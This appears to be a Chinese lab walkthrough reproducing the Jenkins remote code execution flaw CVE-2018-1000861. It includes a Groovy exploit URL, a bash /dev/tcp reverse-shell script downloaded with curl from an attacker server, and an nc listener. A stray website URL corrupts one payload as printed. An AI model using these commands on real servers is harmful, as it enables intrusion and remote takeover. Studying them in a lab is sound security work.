Jenkins远程命令执行-CVE-2018-1000861

1、漏洞环境 环境名称: jenkins-cve_2018_1000861
攻击机:kali
2、漏洞复现 2.1、方法一 我们直接在浏然器中输入:

http://192.168.20.128:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true&value=https://www.it610.com/article/public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}

没有回显。
Jenkins远程命令执行-CVE-2018-1000861
文章图片

进入docker查看,是否回显成功。
docker-compose exec jenkins bash

Jenkins远程命令执行-CVE-2018-1000861
文章图片

2.2、方法二 原文链接:https://www.cnblogs.com/cwkiller/p/12578924.html
orang的exp
https://github.com/orangetw/awesome-jenkins-rce-2019

  • (1).在我们的web服务器写txt文本内容为:
bash -i >& /dev/tcp/*.*.*.*/2333 0>&1

  • (2).使用exp.py执行以下命令下载文件
python exp.py http://192.168.222.143:8080/ "curl -o /tmp/1.sh http://192.168.0.103:85/1.txt"

  • (3).然后在我们接收shell的机器上监听之前写的端口
nc -lvvp 2333

  • (4).直接bash执行我们下载的脚本
python exp.py http://192.168.222.143:8080/ "bash /tmp/1.sh"

(5).回到监听端口的机器
Jenkins远程命令执行-CVE-2018-1000861
文章图片

可以看到已经成功获取到了shell。
3、参考链接 【Jenkins远程命令执行-CVE-2018-1000861】https://www.cnblogs.com/cwkiller/p/12578924.html
https://blog.csdn.net/xuandao_ahfengren/article/details/106586602
https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/README.md

    推荐阅读